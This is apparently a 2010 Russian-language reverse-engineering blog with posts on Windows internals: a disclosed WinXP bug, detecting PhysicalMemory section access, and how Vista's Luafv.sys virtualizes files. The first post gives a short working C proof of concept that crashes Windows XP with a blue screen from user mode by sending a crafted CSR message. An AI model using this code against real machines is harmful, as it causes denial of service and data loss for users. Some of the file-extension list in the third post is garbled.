четверг, 28 октября 2010 г.

BSOD из юзермода

На долю WinXP приходится более 60%в рынка десктопных ОС, это самая популярная ОС на сегодняшний день.

Однако безопасность данной ОС оставляет желать лучшего, поголовная часть пользователей сидит под админом(т.е. вся встроенная защита ОС основанная на правах доступа идет лесом), сервисы и системные процессы и процессы пользователя работают в одной сессии(компроментация служб, shatter атаки), код графической подсистемы изобилует багами(ибо не переписывался с времент нт4), целостность кода легко отключается...

Но как насчет того, чтобы уронить ОС без загрузки драйвера в синий экран?
Уж такие штуки должны быть невозможны в принципе, ведь это не какая-нибудь 98я винда, однако, WinXP со всеми обновлениями падает в бсод, если послать сообщение серверу подсистемы win32(с кодом UserpActivateDebugger) и pid'ом равным pid'у процесса csrss.exe:


void MakeBsodFromUsermode( DWORD сsrssPid )
{
    CSR_API_MSG msg = {0};


    msg.u.ApiMessageData[0] = сsrssPid; // pid процесса csrss.exe

    CsrClientCallServer( &msg, NULL, 0x30404, sizeof( CLIENT_ID ) );
}


Я не буду рассказывать про сервер подсистемы win32, информации о нем достаточно на просторах интернета, скажу лишь, что сервер этот содержит несколько dispatch таблиц, с хендлерами, которые суть есть обработчики сообщений который он может принимать от процессов (они приходят по LPC), так вот, обработчик сообщения UserpActivateDebugger наивно полагает, что раз пришло сообщение об активации отладчика, то надо непременно сделать:

_SrvActivateDebugger:
...
.text:75B47975                 mov     esi, [ebp+arg_0]
.text:75B47978                 mov     eax, large fs:18h
.text:75B4797E                 mov     ecx, [esi+28h]
.text:75B47981                 cmp     ecx, [eax+20h]
.text:75B47984                 jnz     short loc_75B4798F
.text:75B47986                 call    _DbgBreakPoint@0


То есть, если pid текущего процесса, т.е. csrss.exe равен pid'у который пришел в теле сообщения, то вызывается DbgBreakPoint.
Он вызывается даже если отладчик не подключен, естественно, нет отладчика - некому и обработать исключение, отсюда и BSOD.

Данный баг я нашел в конце 2009го года, но он до сих пор не закрыт в XP(в более старших версиях windows баг закрыли).

Начиная с Висты Микрософт серьезно занялись безопасностью, переписали и проревьювили кучу своего кода( тот же сетевой стек ), более серьезный аудит и ревью позволили им сделать свой код более безопасным, однако как в любой сложной системе баги всегда есть и всегда будут.

Бросайте winXP и переходите на win7. Хотя я сам пока сижу на старой доброй XP =]

среда, 27 октября 2010 г.

Детект доступа к PhysicalMemory или почему "стандартные" решения это плохо

Предположим, нам нужно задетектировать открытие секции "\\Device\\PhysicalMemory" с правами на запись юзерским приложением.
Стандартным решением в такой ситуации будет перехват ф-ции ZwOpenSection в ssdt a.k.a сплайсинг.

Правильно ли это? Казалось бы да, других способов открыть секцию минуя эту ф-цию вроде бы не существует, и все обращения пользовательских процессов к данной секции будут найдены. Однако, это не так.

Секрет в том, что секция может быть открыта неявно.
К примеру, java.exe при определенных обстоятельствах обращается к драйверу videoprt.sys, а он делает:

PAGE:0001D089 push ds:_PhysicalMemorySection
PAGE:0001D08F call ds:impObOpenObjectByPointer@28


Все это конечно происходит в контексте вызывающего, и KTHREAD.PreviousMode равен UserMode. Таким образом никаким сплайсингом такое не задетектировать, нужно спуститься чуть глубже и установить OpenProcedure у объекта секция, в агрументах придет вся необходимая информация, которой достаточно для определения имени секции, вызвающего процесса, маски доступа и т.д.


вторник, 26 октября 2010 г.

Виртуализация файлов изнутри

После прочтения статьи Руссиновича мне стало интересно, каким образом реализована виртуализация файлов. Собсно, эта запись в блоге посвящена данному мини ресерчу.

Итак, рассмотрим внутренности драйвера Luafv.sys.

Для начала глянем реестр:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\luafv\Instances]
"DefaultInstance"="luafv"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\luafv\Instances\luafv]
"Altitude"="135000"
"Flags"=dword:00000000

Судя по альтитуде, мы имеем дело с минифильтром.
Почему так? Все просто, фильтр менеджер может присоединять в стеке драйверов другие устройства(виртуальные), каждое такое устройство называется фрейм, и может содержать в себе несколько минифильтров.

Альтитуда нужна для их идентификации( есть определенные группы, для каждой из которых определен диапазонам альтитуд, к примеру FSFilter Anti-Virus, FSFilter Virtualization и т.д., подробнее в msdn).

В описании драйвера сказано, что это LUA File Virtualization Filter Driver, 
альтитуда равна 135000, что попадает в диапазон альтитуд FSFilter Virtualization(130000-139999).
На 99% можно быть уверенными что мы имеем дело с минифильтром, чтобы исключить оставшийся процент, достаточно заглянуть в импорт драйвера и увидеть:

.idata:000131A4 ;
.idata:000131A4 ; Imports from FLTMGR.SYS
.idata:000131A4 ;
.idata:000131A4 ; __declspec(dllimport) __stdcall FltCancelIo(x)
.idata:000131A4                 extrn __imp__FltCancelIo@4:dword


FLTMGR.SYS это фильтр менеджер, драйвер предоставляющий высокоуровневую среду для создания минифильтров и скрывающий низкоуровневую работу, с ним написание фильтров становится довольно простым делом.

Итак, Luafv.sys это минифильтр и это радует, т.к. искать колбеки будет довольно просто.

Пару слов о минифильтрах. Минифильтр позволяет повесить колбеки(pre и post) на определенные события. Минифильтр устанавливает требуемые ему колбеки в составе структуры, затем структура идет в ф-цию FltRegisterFilter.

После начала фильтрации(FltStartFiltering), при наступлении события(к примеру открытие/создание файла) будет вызываться колбек.
Итак, нас будет интересовать pre колбек устанавливаемый на событие IRP_MJ_CREATE.
После непродолжительного анализа кода выше ф-ции FltRegisterFilter находим структуру с перечисленными колбеками, символы нам наглядно и доступно показывают то, что мы ищем: LuafvPreCreate и LuafvPostCreate(этот нам не интересен).

Теперь анализ будет чуть более продолжительным, но т.к. цель не полная декомпиляция, а общая логика работы, то наверное можно обойтись даже без псевдокода, итак, логика работы колбека следующая:

FLT_PREOP_CALLBACK_STATUS FLTAPI LuafvPreCreate( __inout PFLT_CALLBACK_DATA data, __in PCFLT_RELATED_OBJECTS fltObjects, __deref_out_opt PVOID *completionContext )
{   
  • определяется, включена ли виртуализация ( переменная DisableVirt )
  • определяется юзер, который сделал запрос на создание файла(LuafvQueryVirtualizationCaller)
  • принимается решение о том, виртуализовать ли запрос на создание файла или нет, в частности проверятся расширение файла LuafvCheckExcludedName (файлы с расширениями перечисленными ниже не будут виртуализированы )
  • после того как решение принято, вызывается LuafvQueryStoreFile которая создает путь, куда будет перенаправлен новый файл: LuafvQueryStoreFile => LuafvFindUserStore => к примеру "user_name\AppData\Local\" + "\\VirtualStore\\" + имя файла   
  • вызывается LuafvReparse которая и выполняет перенаправление создаваемого файла в выбранный каталог, делается это стандартным способом, используя возможности минифильтра. Если бы данный драйвер не был минифильтром, для редиректа использовался бы скорее всего другой механизм - установка нового имени(вместе с путем) в FileObject + в установка в IRP IoStatus.Status равным STATUS_REPARSE + установка IoStatus.Information равным IO_REPARSE, в таком случае менеджер ввода-вывода инициировал бы повторную операцию открытия файла, послав IRP_CREATE, но уже с новым именем. Для минифильтра же вся работа по редиректу спрятана под высокоуровневой оболочкой, редирект выполняется попроще, см. ниже ф-цию LuafvReparse
}

NTSTATUS LuafvReparse( SOME_STRUCT *p, ... )
{
    //
    // файловый объект приходит в ф-цию через аргумент(в составе структуры) обычно в колбек приходит параметр
    // PCFLT_RELATED_OBJECTS fltObjects, в котором содержится файловый объект, но в данном случае до вызова
    // LuafvReparse данные рассовываются в собственные структуры
    PFILE_OBJECT fileObject = p->FileObject;

    fileObject->MaximumLength = newLength;   // устанавливается новая длина
    fileObject->Buffer = newBuffer;  // устанавливается буфер с новым именем файла ( включая путь )

    FltSetCallbackDataDirty();   // фильтр-менеджеру сообщается, что данные в колбеке изменились
}

Список расширений файлов, которые не будут виртуализированы:

"acm", "asa", "asp", "aspx", "x", "bat", "cer", "chm", "clb", "cmd", "cnt", "cnv", "com", "cpl", "cpx", "crt", "dll", "drv", "exe", "fon", "grp", "hlp", "hta", "ime", "inf", "ins", "isp", "its", "js", "se", "nk", "sc", "si", "sp", "st", "ui", "ls", "cx", "al", "cd", if", eg", "cf", "cr", "ct", "hb", "hs", "ys", "lb", "sp", "rl", "b", "vbe", "vbs", "vsmacros", "s", "wsc", "wsf", "wsh"

Таким не хитрым образом работает виртуализация для файлов в windows vista.

пятница, 22 октября 2010 г.

О чем этот блог?

Блог посвящен низкоуровневому программированию(windows NT), обратной инженерии, декомпиляции, обзору различных защит, багам и недоработкам в ПО и прочим интересным вещам.


Блог задумывается как технический, так что никакой информации о себе я публиковать не планирую, однако контакты оставлю.

Связаться со мной можно:
  • Через e-mail(TSS_TSS@mail.ru)